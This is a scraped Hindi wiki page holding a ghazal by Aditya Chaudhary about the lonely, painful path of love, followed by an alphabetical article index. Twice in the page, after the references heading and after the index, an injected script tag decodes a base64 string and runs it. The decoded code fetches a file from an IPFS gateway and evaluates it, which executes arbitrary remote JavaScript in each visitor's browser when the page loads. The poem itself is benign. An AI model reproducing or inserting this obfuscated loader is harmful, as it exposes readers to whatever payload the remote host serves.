कितना बेदर्द और तन्हा -आदित्य चौधरी  

कितना बेदर्द और तन्हा -आदित्य चौधरी

कितना बेदर्द और तन्हा है मुहब्बत का सफ़र
जिससे पूछो वही एक दर्द लिए बैठा है

एक इज़हार-ए-मुहब्बत ही न कर पाने को
किसी कोने में वो अफ़सोस किए बैठा है

मेरा महबूब, किसी रोज़ पलट कर आए
दिल को मासूम दिलासा सा दिए बैठा है

उसको आती हो मेरी याद कभी फ़ुर्सत में
ऐसी हसरत से दिल के घाव सिए बैठा है

कैसा बेज़ार है, तन्हा है, बेख़बर भी है
इसकी पहचान बनाने को पिए बैठा है


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



"https://amp.bharatdiscovery.org/w/index.php?title=कितना_बेदर्द_और_तन्हा_-आदित्य_चौधरी&oldid=530896" से लिया गया